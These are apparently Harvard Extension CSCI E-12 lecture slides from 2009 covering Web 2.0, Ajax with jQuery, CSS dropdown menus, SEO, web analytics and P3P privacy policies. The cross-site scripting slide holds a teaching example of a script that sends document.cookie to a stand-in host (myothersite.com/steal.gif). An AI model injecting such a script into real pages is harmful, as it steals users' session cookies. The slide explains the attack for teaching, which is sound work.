Table of Contents Link List CSCI E-12...2009/04/29 · jQuery Javascript library z Server-side...
Transcript of Table of Contents Link List CSCI E-12...2009/04/29 · jQuery Javascript library z Server-side...
Grab Bag, Part 1 April 29, 2009
Harvard University Division of Continuing Education
Extension School
Course Web Site: http://cscie12.dce.harvard.edu/
Copyright 1998-2009 David P. Heitmeyer
Instructor email: [email protected] Course staff email: [email protected]
Table of Contents | All Slides | Link List | Examples | CSCI E-12
Page 1 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Grab Bag
Please use the Lecture Feedback Form to indicate any topics you would like to hear more about in the last two lectures.
Topics so far:
Web 2.0 Dropdown Navigation Menus
SEO (Search Engine Optimization) Web Analytics Security and Privacy
XSS (Cross Site Scripting) Phishing P3P and PICS
SSL/TLS (i.e. https) Copyright
Image Protection
Creative Commons Licenses Content for Mobile Devices Web Content Management (WCM)
Adobe Contribute, Dreamweaver, and using Templates to simplify editing Server-side systems: Drupal, MovableType, etc.
Hosting and Content Storage and Delivery, and Scalability
Shared, Virtual, Dedicated, "Cloud" CDN (Content Delivery Networks) Scalability
E-commerce Some Interesting Web Widgets and Applications
SIMILE Exhibit Timeline
Timeplot Runway
ShareThis, AddThis
HTML 5 and XHTML 2
Page 2 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web 2.0
Suggested readings for Web 2.0:
What Is Web 2.0: Design Patterns and Business Models for the Next Generation of Software by Tim O'Reilly Web 2.0, article from Wikipedia
What is Web 2.0?
Not a technical standard or technology
Web 2.0 does have characteristics and features There are some technologies commonly found in Web 2.0
Page 3 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web 2.0 Features and Characteristics
What Is Web 2.0: Design Patterns and Business Models for the Next Generation of Software by Tim O'Reilly
Principles, Characteristics, Features:
Services, not packaged software, with cost-effective scalability Control over unique, hard-to-recreate data sources that get richer as more people use them
e.g. Amazon Trusting users as co-developers Harnessing collective intelligence
e.g. Wikipedia Leveraging the long tail through customer self-service
e.g. Google AdSense
Software above the level of a single device Lightweight user interfaces, development models, AND business models
Page 4 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web 2.0 in Images
User-contributed data (active and passive) Mashups - combining, remixing data
External Services and Functionality Rich User Interfaces and Rich Internet Applications
Web 2.0 Meme Map by Tim O'Reilly
Visualizing Web 2.0 by Dion Hinchcliffe
Visualizing Web 2.0, Peter, blog.forret.com
Page 5 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Aggregation, Re-mixing, Mashups
GovTrack.US
GovTrack.US
Page 6 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Zillow
Zillow
www.zillow.com
Page 7 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Chicago Crime
ChicagoCrime.org
Page 8 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Housing Maps
HousingMaps.com
Page 9 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Delicious
del.icio.us
Page 10 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Flickr
Flickr
flickr.com
Page 11 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Encyclopedia of Life
Encyclopedia of Life, www.eol.org
WASHINGTON (May 9, 2007) – Many of the world’s leading scientific institutions today announced the launch of the Encyclopedia of Life, an unprecedented global effort to document all 1.8 million named species of animals, plants, and other forms of life on Earth. For the first time in the history of the planet, scientists, students, and citizens will have multi-media access to all known living species, even those that have just been discovered. more
a handful cornerstone institutions
dozens of data partners thousands of curators tens (hundreds or more?) of thousands of potential contributors
Falco peregrinus (Peregrine Falcon)
Page 12 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
ReadTheStimulus.org
readthestimulus.org
Page 13 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Weather
view plain copy to clipboard print ?
1. <weather ver="2.0"> 2. <head> 3. <locale>en_US</locale> 4. <form>MEDIUM</form> 5. <ut>F</ut> 6. <ud>mi</ud> 7. <us>mph</us> 8. <up>in</up> 9. <ur>in</ur>
10. </head> 11. <loc id="02138"> 12. <dnam>Cambridge, MA (02138)</dnam> 13. <tm>9:38 AM</tm> 14. <lat>42.38</lat> 15. <lon>-71.13</lon> 16. <sunr>6:25 AM</sunr> 17. <suns>6:53 PM</suns> 18. <zone>-4</zone> 19. </loc> 20. <cc> 21. <lsup>9/15/08 9:25 AM EDT</lsup> 22. <obst>Fenway Park, MA</obst> 23. <tmp>81</tmp> 24. <flik>83</flik> 25. <t>Partly Cloudy and Windy</t> 26. <icon>30</icon> 27. <bar> 28. <r>29.55</r> 29. <d>steady</d> 30. </bar> 31. <wind> 32. <s>21</s> 33. <gust>28</gust> 34. <d>250</d> 35. <t>WSW</t> 36. </wind> 37. <hmid>58</hmid> 38. <vis>10.0</vis> 39. <uv> 40. <i>2</i> 41. <t>Low</t> 42. </uv> 43. <dewp>65</dewp> 44. <moon> 45. <icon>14</icon> 46. <t>Full</t> 47. </moon> 48. </cc> 49. </weather> 50.
Page 14 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
National Weather Service
NOAA's National Weather Service offers several XML services: National Digital Forecast Database XML Web Service
NWS MA Weather
RSS XML
Page 15 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Google News
news?hl=en&ned=us&q=Harvard+University news?hl=en&ned=us&q=Harvard+University&output=rss
news?hl=en&ned=us&q=Harvard+University&output=atom
Page 16 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Amazon Web Services
Amazon.com offers several different web services, including one for e-commerce.
Amazon Associates Web Service (formerly Amazon ECS) Amazon Elastic Compute Cloud
Amazon Flexible Payments Service Amazon Fulfillment Web Service Amazon Mechanical Turk
Amazon SimpleDB Amazon Simple Queue Service Amazon Simple Storage Service
Alexa Top Sites Alexa Web Information Service Alexa Web Search
Amazon Book Information
http://www.amazon.com/gp/product/006251587X%3ftag=webservices-20%26link_code=xm2%26camp=2025%26dev-t=DEVELOPER_TOKEN
Page 17 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Yahoo! Developer Network
Yahoo! Developer Network. REST Web Services using XML and JSON.
Answers Local
Mail Maps OpenID
Search Shopping Travel
Utilities
Page 18 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Rich Internet Applications
Rich Internet Applications (RIA) Rich User Experience
gmail.com
maps.google.com
calendar.google.com
Page 19 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
docs.google.com
Page 20 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Ajax Overview
AJAX: A New Approach to Web Applications, from Adaptive Path. by Jesse James Garrett
Page 21 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Ajax
Terms:
XHR: XMLHttpRequestObject Ajax: Asynchronous JavaScript and XML
AHAH: Asynchronous HTTP and HTML
Technologies Involved:
XHTML
CSS JavaScript
XMLHttpRequest (XHR) object
Document Object Model (DOM) Data: XML, JSON, XHTML
Page 22 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Course Search with Ajax and jQuery
http://cscie12.dce.harvard.edu/ajax/course_jquery.html
There is a URL that returns a list of courses given a course group (as an XHTML snippet):
http://morpheus.dce.harvard.edu/ajax/course_search?description=protein will return a list of courses whose description contains "protein" http://morpheus.dce.harvard.edu/ajax/course_search?description=planet will return a list of courses whose description contains "planet" http://morpheus.dce.harvard.edu/ajax/course_search?title=neuro will return a list of courses whose title contains "neuro" http://morpheus.dce.harvard.edu/ajax/course_search?title=DNA will return a list of courses whose title contains "DNA"
What's involved:
jQuery Javascript library Server-side process to generate course list markup (courselist_partial which take a course_group query parameter)
Custom Javascript function (getCourseList) to call server-side process
Javascript to invokee the custom getCourseList function.
Import jQuery
jQuery function:
Form:
view plain copy to clipboard print ?
1. <script src="/jquery/jquery.js" type="text/javascript"> </script> 2. <script src="/jquery/jquery.form.js" type="text/javascript"> </script>
view plain copy to clipboard print ?
1. function getCourseList() { 2. var search_term = $('#search_query').val(); 3. $('#courselist').load( 4. '/ajax/course_search', 5. {'description' : search_term } 6. ); 7. }
view plain copy to clipboard print ?
1. <form onsubmit="getCourseList(); return false;"> 2. <div> 3. <label for="course_search">Search for Courses by Description:</label> 4. <input type="text" id="search_query" name="search_query" size="30" /> 5. <br/> 6. <input type="button" name="submit" onclick="getCourseList()" value="Search" /> 7. </div> 8. <div id="courselist"> 9. Course Listings will be updated here.
10. </div> 11. </form>
Page 23 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Loading options based upon a prior selection
Course Search by Department and Instructor
Page 24 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Back-end Processes
Instructor Options
ajax_instructor_options?department=MCB ajax_instructor_options?department=RLL
Course Search
Designed for XHTML (fragment), XML, and JSON output.
course_search?department=MCB&output=xml
course_search?department=MCB&output=xhtml course_search?department=MCB&output=json
Page 25 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
The Javascript (jQuery)
document "ready" callback function loads instructor options and also searches for courses.
view plain copy to clipboard print ?
1. var $j = jQuery.noConflict(); 2. 3. function loadInstructorOptions() { 4. var parameters = {}; 5. var a = $j("select[@name='department']"); 6. var b = $j("select[@name='department']/option"); 7. parameters['department'] = $j("select[@name='department'] option:selected").val(); 8. $j('#instructordiv').load('ajax_instructor_options',parameters); 9. }
10. function getCourseList() { 11. var parameters = {}; 12. parameters['output'] = 'xhtml'; 13. parameters['department'] = $j("select[@name='department'] option:selected").val(); 14. var inst = $j("select[@name='instructor'] option:selected").val(); 15. if (inst == null) { inst = '%'; } 16. parameters['instructor'] = inst; 17. $j('#courselist').load( 18. 'course_search', 19. parameters 20. ); 21. } 22. $j(document).ready( function(){ 23. $j('#department').change( function() { 24. $j("select[@name='instructor']/option:nth(1)").attr("selected","selected"); 25. loadInstructorOptions(); 26. getCourseList(); 27. }); 28. });
Page 26 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Dropdown Navigation Menus
HarvardScience: Science and Engineering at Harvard University
Amazon.com
Page 27 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
"Mega" Dropdown Menus
Jakob Nielsen's Alertbox, March 23, 2009: Mega Drop-Down Navigation Menus Work Well
The White House
Food Network
Page 28 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Dropdown Menus
Â
The basics are:
Make the first list "inline" Hide the secondary lists
Use the CSS ":hover" pseudo-class to change secondary list display property
Example 13.1
Example 13.1 Source:
In style element (<style type="text/css">) within head element:
Example 13.1 Demonstrated
view plain copy to clipboard print ?
1. <ul id="dropdown1" > 2. <li><a href="#" shape="rect" >AL East</a> 3. <ul> 4. <li><a href="#" shape="rect" >Baltimore</a></li> 5. <li><a href="#" shape="rect" >Boston</a></li> 6. <li><a href="#" shape="rect" >New York</a></li> 7. <li><a href="#" shape="rect" >Toronto</a></li> 8. <li><a href="#" shape="rect" >Tampa Bay</a></li> 9. </ul> </li>
10. <li><a href="#" shape="rect" >AL Central</a> 11. <ul> 12. <li><a href="#" shape="rect" >Chicago</a></li> 13. <li><a href="#" shape="rect" >Cleveland</a></li> 14. <li><a href="#" shape="rect" >Detroit</a></li> 15. <li><a href="#" shape="rect" >Kansas City</a></li> 16. <li><a href="#" shape="rect" >Minnesota</a></li> 17. </ul> </li> 18. <li><a href="#" shape="rect" >AL West</a> 19. <ul> 20. <li><a href="#" shape="rect" >Los Angeles</a></li> 21. <li><a href="#" shape="rect" >Oakland</a></li> 22. <li><a href="#" shape="rect" >Texas</a></li> 23. <li><a href="#" shape="rect" >Seattle</a></li> 24. </ul> </li> 25. </ul>
view plain copy to clipboard print ?
1. ul { 2. padding: 0; 3. margin: 0; 4. list-style: none; 5. } 6. li { 7. float: left; 8. position: relative; 9. width: 10em;
10. } 11. li ul { 12. display: none; 13. position: absolute; 14. top: 1em; 15. left: 0; 16. } 17. li:hover ul { display: block; } 18.
Page 29 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Dropdown Menus
Example 13.2
Example 13.2 Source:
In style element (<style type="text/css">) within head element:
Example 13.2 Demonstrated
view plain copy to clipboard print ?
1. <ul id="dropdown2" > 2. <li><a href="#" shape="rect" >AL East</a> 3. <ul> 4. <li><a href="#" shape="rect" >Baltimore</a></li> 5. <li><a href="#" shape="rect" >Boston</a></li> 6. <li><a href="#" shape="rect" >New York</a></li> 7. <li><a href="#" shape="rect" >Toronto</a></li> 8. <li><a href="#" shape="rect" >Tampa Bay</a></li> 9. </ul> </li>
10. <li><a href="#" shape="rect" >AL Central</a> 11. <ul> 12. <li><a href="#" shape="rect" >Chicago</a></li> 13. <li><a href="#" shape="rect" >Cleveland</a></li> 14. <li><a href="#" shape="rect" >Detroit</a></li> 15. <li><a href="#" shape="rect" >Kansas City</a></li> 16. <li><a href="#" shape="rect" >Minnesota</a></li> 17. </ul> </li> 18. <li><a href="#" shape="rect" >AL West</a> 19. <ul> 20. <li><a href="#" shape="rect" >Los Angeles</a></li> 21. <li><a href="#" shape="rect" >Oakland</a></li> 22. <li><a href="#" shape="rect" >Texas</a></li> 23. <li><a href="#" shape="rect" >Seattle</a></li> 24. </ul> </li> 25. </ul>
view plain copy to clipboard print ?
1. ul { 2. padding: 0; 3. margin: 0; 4. list-style: none; 5. } 6. li { 7. float: left; 8. position: relative; 9. width: 10em;
10. } 11. li ul { 12. display: none; 13. position: absolute; 14. top: 1.7em; 15. left: 0; 16. } 17. li > ul { 18. top: auto; 19. left: auto; 20. } 21. li:hover ul { display: block; } 22. #dropdown2 li { 23. border: thin solid navy; 24. font-family: calibri,verdana,tahoma,helvetica,sans-serif; 25. background-color: #ccf; 26. } 27. #dropdown2 ul li { background-color: #eef; } 28. #dropdown2 a {display:block; padding: 0.25em;} 29. #dropdown2 a:link, 30. #dropdown2 a:visited, 31. #dropdown2 a:hover, 32. #dropdown2 a:active 33. { text-decoration: none; font-weight: bold; } 34. #dropdown2 a:hover { background-color: navy; color: #ccf; } 35.
Page 30 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Dropdown Menus: Vertical
Example 13.3
Example 13.3 Source:
In style element (<style type="text/css">) within head element:
Example 13.3 Demonstrated
view plain copy to clipboard print ?
1. <ul id="dropdown3" > 2. <li><a href="#" shape="rect" >AL East</a> 3. <ul> 4. <li><a href="#" shape="rect" >Baltimore</a></li> 5. <li><a href="#" shape="rect" >Boston</a></li> 6. <li><a href="#" shape="rect" >New York</a></li> 7. <li><a href="#" shape="rect" >Toronto</a></li> 8. <li><a href="#" shape="rect" >Tampa Bay</a></li> 9. </ul> </li>
10. <li><a href="#" shape="rect" >AL Central</a> 11. <ul> 12. <li><a href="#" shape="rect" >Chicago</a></li> 13. <li><a href="#" shape="rect" >Cleveland</a></li> 14. <li><a href="#" shape="rect" >Detroit</a></li> 15. <li><a href="#" shape="rect" >Kansas City</a></li> 16. <li><a href="#" shape="rect" >Minnesota</a></li> 17. </ul> </li> 18. <li><a href="#" shape="rect" >AL West</a> 19. <ul> 20. <li><a href="#" shape="rect" >Los Angeles</a></li> 21. <li><a href="#" shape="rect" >Oakland</a></li> 22. <li><a href="#" shape="rect" >Texas</a></li> 23. <li><a href="#" shape="rect" >Seattle</a></li> 24. </ul> </li> 25. </ul>
view plain copy to clipboard print ?
1. ul { 2. padding: 0; 3. margin: 0; 4. list-style: none; 5. } 6. li { 7. position: relative; 8. width: 10em; 9. }
10. li ul { 11. display: none; 12. position: absolute; 13. top: 1.7em; 14. left: 0; 15. } 16. li > ul { 17. top: auto; 18. left: auto; 19. } 20. li:hover ul { display: block; } 21. #dropdown3 li ul { 22. margin-left: 10em; 23. margin-top: -1.8em; 24. } 25. #dropdown3 li { 26. border: thin solid navy; 27. font-family: calibri,verdana,tahoma,helvetica,sans-serif; 28. background-color: #ccf; 29. } 30. #dropdown3 ul li { background-color: #eef; } 31. #dropdown3 a {display:block; padding: 0.25em;} 32. #dropdown3 a:link, 33. #dropdown3 a:visited, 34. #dropdown3 a:hover, 35. #dropdown3 a:active 36. { text-decoration: none; font-weight: bold; } 37. #dropdown3 a:hover { background-color: navy; color: #ccf; } 38.
Page 31 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Menu Resources
Note: For Opera, we need a few additional styles. For IE6, we need JavaScript since the CSS "hover" pseudo-class is not supported for all elements.
Dropdown Menu Tutorials and Tools
A List Apart: Suckerfish Dropdowns
The original "Suckerfish" article.
Son of Suckerfish Dropdowns
Well now they're back and they're more accessible, even lighter in weight (just 12 lines of JavaScript), have greater compatibility (they now work in Opera and Safari without a hack in sight) and can have multiple-levels.
Superfish
Superfish is an enhanced Suckerfish-style menu jQuery plugin that takes an existing pure CSS drop-down menu (so it degrades gracefully without JavaScript) and adds the following much-sought-after enhancements.
Page 32 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
SEO: Search Engine Optimization
Make your site ready for search engines
well-formed (and hopefully valid) HTML/XHTML. use mark-up language for headings and lists
titles that stand on their own "meta" keywords and description
An example using O'Reilly OnLamp.com
In "head" element of page:
view plain copy to clipboard print ?
1. <title>ONLamp.com</title> 2. <title>O'Reilly Network's ONLamp.com -- web development, linux, apache, mysql, perl, php, python, bsd</title> 3. <meta name="keywords" 4. content="o'reilly network,o'reilly,onlamp.com,lamp,lampp,linux,apache,mysql,perl,python,php,linux,bsd, 5. web development,server development reference,technical information,open source, 6. O'Reilly Media,O'Reilly author, oreilly.com,oreilly,o'reilly" /> 7. <meta name="description" 8. content="Welcome to ONLamp.com, the high performance web development 9. site from the O'Reilly Network offering comprehensive Lamp developer information
10. and resources. O'Reilly Network's ONLamp site features 11. original articles, news and commentary." />
Page 33 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Google Webmater Help
Google Help for Webmaster/Site Owners Google Webmaster Tools
Sitemap
You can provide Google an XML sitemap document that contains the pages you want it to index.
sitemap.xml for www.littletontrack.org:
view plain copy to clipboard print ?
1. <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> 2. <url> 3. <loc>http://littletontrack.org/</loc> 4. <changefreq>weekly</changefreq> 5. <priority>1.0</priority> 6. </url> 7. <url> 8. <loc>http://littletontrack.org/activity.html</loc> 9. <changefreq>weekly</changefreq>
10. <priority>0.5</priority> 11. </url> 12. <url> 13. <loc>http://littletontrack.org/feasibility_study.html</loc> 14. <changefreq>weekly</changefreq> 15. <priority>0.5</priority> 16. </url> 17. <url> 18. <loc>http://littletontrack.org/community_presentation.html</loc> 19. <changefreq>weekly</changefreq> 20. <priority>0.5</priority> 21. </url> 22. <url> 23. <loc>http://littletontrack.org/photos.html</loc> 24. <changefreq>weekly</changefreq> 25. <priority>0.5</priority> 26. </url> 27. <url> 28. <loc>http://littletontrack.org/faq.html</loc> 29. <changefreq>weekly</changefreq> 30. <priority>0.5</priority> 31. </url> 32. </urlset>
Page 34 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Yahoo! Search Help
Yahoo! Search Help Yahoo! Webmaster Resources
Page 35 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web Analytics
Web Server Log files Javascript-based
Page 36 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web Server Log Files
IP address identd
user (basic authentication) timestamp request
HTTP status bytes sent
referer user-agent
One line of a log file ("combined log format"), with each field shown on its own line:
128.103.36.158 - - [29/Apr/2009:10:59:05 -0400] "GET /lecture_notes/2009/20090128/slide1.html HTTP/1.1" 200 4372 "http://cscie12.dce.harvard.edu/lecture_notes/2009/20090128/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)"
Log file entries for a page load of one lecture slide:
128.103.36.158 - - [29/Apr/2009:10:59:05 -0400] "GET /lecture_notes/2009/20090128/slide1.html HTTP/1.1" 200 4372 "http://cscie12.dce.harvard.edu/lecture_notes/2009/20090128/" "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 (.NET CLR 3.5.30729)"
Page 37 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Open Source Software for Analysis of Web Server Log Files
AWStats Analog
Webalizer
Page 38 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Javascript-based Analytics
Javascript is used to collect information about the browser and request, and then it sends this information back to a server, typically as request parameters for a 1x1 pixel transparent GIF image.
Typically run as a service
Page 39 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Google Analytics
Google Analytics
JS included on page sends information back to Google Analytics server, which tracks and builds reports.
Example Reports
Page 40 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Overview of How Google Analytics Works
Javascript is included on page
Request for image contains information
Javascript causes an image to be requested from the Google Analytics Server. Parameters sent with the image request contain information about the page loaded and about the browser capabilities.
URL of image: http://www.google-analytics.com/__utm.gif?utmwv=4.1&utmn=1726621737&utmhn=cscie12.dce.harvard.edu&utmcs=UTF-8&yutmsr=1680x1050&utmsc=32-bit&utmul=en-us&utmje=1&utmfl=9.0%20%20r115&utmdt=Introduction%2C%20Internet%20and%20Web%20Basics&utmhid=99327265&utmr=0&utmp=/lecture_notes/2007-08/20080130/slide1.html&utmac=UA-2675499-2&utmcc=__utma%3D261712543.446246362.1206127732.1209398731.1209569723.25%3B%2B__utmz%3D261712543.1208810203.19.10.utmcsr%3Dgoogle%7Cutmccn%3D(organic)%7Cutmcmd%3Dorganic%7Cutmctr%3Djquery%2520tabs%2520cscie12%3B
Parameters sent (via query string):
view plain copy to clipboard print ?
1. <script type="text/javascript"> 2. var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www."); 3. document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E")); 4. </script> 5. <script type="text/javascript"> 6. var pageTracker = _gat._getTracker("UA-2675499-2"); 7. pageTracker._initData(); 8. pageTracker._trackPageview(); 9. </script>
Page 41 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Web Analytics Companies
A list of companies offering Web analytics:
AT Internet Auriq Systems (RTmetrics)
BLVD Status Coremetrics DC Storm
Digital River (Fireclick) etracker eVisit Analyst
Facilitate Digital Foviance (WebAbacus) Google Analytics
Intellitracker Lynchpin
Lyris (ClickTracks) Marketwave Nedstat
Omniture RedEye Site Intelligence
SmarterStats Speed-Trap Unica (Affinium NetInsight)
Urchin Software from Google VisiStat WebTrends
WiredMinds Woopra Yahoo! Web Analytics
Page 42 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Privacy and Security Concerns
User / Client
Fraud. The server or site is "who" it appears to be. "Phishing" Safe content. Content received is safe -- it is not dangerous or malicious.
Cross Site Scripting (XSS)
Privacy Infringement.. Information given to server will be kept private.
Provider / Server
Break-in. Server machine will not be broken into.
"Webjacking". Content will not be altered. Denial-of-Service (DOS) Attacks. Server will be available. Authentication / Authorization. Users will not access documents not meant for them.
Fraud. Users are who they claim to be.
Common
Eavesdropping. Third parties are not eavesdropping on the information sent between the client and server. Tampering. Information sent between the client and server arrives intact.
Page 43 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Phishing
Phishing from Wikipedia.
Emails and sites that pretend to be someone or something else in order to get you to give private and/or confidential information.
Example emails:
Example site:
Page 44 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Cross-Site Scripting (XSS)
XSS takes advantage of inserted scripts and/or markup into a dynamically generated page. When an unsuspecting user loads the page, the script is executed. Risk of XSS increases with the wide-spread use of Ajax.
Javascript SSI PHP, or other any other server-side technology
XSS Example
Simple example for illustration:
Blog post on a site that allows JavaScript content:
Which could render as:
view plain copy to clipboard print ?
1. <script type="text/javascript"> 2. document.write('<img src=\"http://myothersite.com/steal.gif?cookie=' 3. + escape(document.cookie) 4. + '\"/>'); 5. </script>
view plain copy to clipboard print ?
1. <img src="http://myothersite.com/steal.gif?cookie=SESSIONID%3D9GQ0Soz3xfAAABF1awUAAAAC" />
Page 45 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Security and Privacy Technologies
Platform for Privacy Preferences (P3P) Platform for Internet Content Selection (PICS)
Transport Layer Security (TLS) / Secure Socket Layer (SSL)
Page 46 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
P3P Initiative
W3C Privacy Overview Platform for Privacy Preferences (P3P)
The Platform for Privacy Preferences Project (P3P), developed by the World Wide Web Consortium, is emerging as an industry standard providing a simple, automated way for users to gain more control over the use of personal information on Web sites they visit. At its most basic level, P3P is a standardized set of multiple-choice questions, covering all the major aspects of a Web site's privacy policies. Taken together, they present a clear snapshot of how a site handles personal information about its users. P3P-enabled Web sites make this information available in a standard, machine-readable format. P3P enabled browsers can "read" this snapshot automatically and compare it to the consumer's own set of privacy preferences. P3P enhances user control by putting privacy policies where users can find them, in a form users can understand, and, most importantly, enables users to act on what they see.
Readings
P3P: Privacy Primer from O'Reilly Network
Web Privacy with P3P by Lorrie Cranor, published by O'Reilly
Page 47 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Example Policies
English
The following is taken from The Platform for Privacy Preferences 1.0 (P3P1.0) Specification
CoolCatalog makes the following statement for the Web page at http://www.CoolCatalog.com/catalog/.
We use cookies and collect your gender, information about your clothing preferences, and (optionally) your home address to customize our entry catalog pages and for our own research and product development. We do not use this information in identifiable form.
We also maintain server logs that include information about visits to the http://www.CoolCatalog.com/catalog/ page, and the types of browsers our visitors use. We use this information in order to maintain and improve our web site. We do not use this information in an identifiable way.
We do not provide access capabilities to information we may have from you, but we do have retention and opt-out policies, which you can read more about at our privacy page http://www.CoolCatalog.com/PrivacyPractice.html. The third-party PrivacySeal.org provides assurance that we abide by this agreement.
P3P Syntax
The following is taken from The Platform for Privacy Preferences 1.0 (P3P1.0) Specification
Entity: CoolCatalog, Inc. Disclosure URI: http://www.CoolCatalog.com/PrivacyPractice.html Access to Identifiable Information: none Assurance: PrivacySeal.org Other disclosures: Change agreement, retention
We collect:    dynamic.cookies (category = state)    user.gender    dynamic.miscdata (category = pref)    user.home. (optional) For purpose: Customization of the site to individuals, research and development Identifiable use: No Recipients: Only ourselves and our agents Consequence: A site with clothes you would appreciate
We collect:     dynamic.clickstream.server     dynamic.http.useragent For purpose: Web site and system administration, research and development Identifiable use: No Recipients: Only ourselves and our agents
P3P Syntax in XML
The following is taken from The Platform for Privacy Preferences 1.0 (P3P1.0) Specification
Page 48 of 65Grab Bag, Part 1
4/29/2009http://localhost:8080/cocoon/projects/cscie12/slides/20090429/handout.html
Compact Policy
Compact policies can be sent in the HTTP response header: P3P: CP="NON DSP ADM DEV PSD IVDo OUR IND STP PHY PRE NAV UNI"
view plain copy to clipboard print ?
1. <POLICY xmlns="http://www.w3.org/2000/P3Pv1" 2. entity="CoolCatalog, Inc."> 3. <ASSURANCE-GROUP> 4. <ASSURANCE org="http://www.PrivacySeal.org" 5. description="PrivacySeal, a third-party seal provider" 6. image="http://www.PrivacySeal.org/Logo.gif"/> 7. </ASSURANCE-GROUP> 8. <DISCLOSURE discuri="http://www.CoolCatalog.com/PrivacyPractice.html" 9. access="none" retention="yes" change_agreement="yes"/>
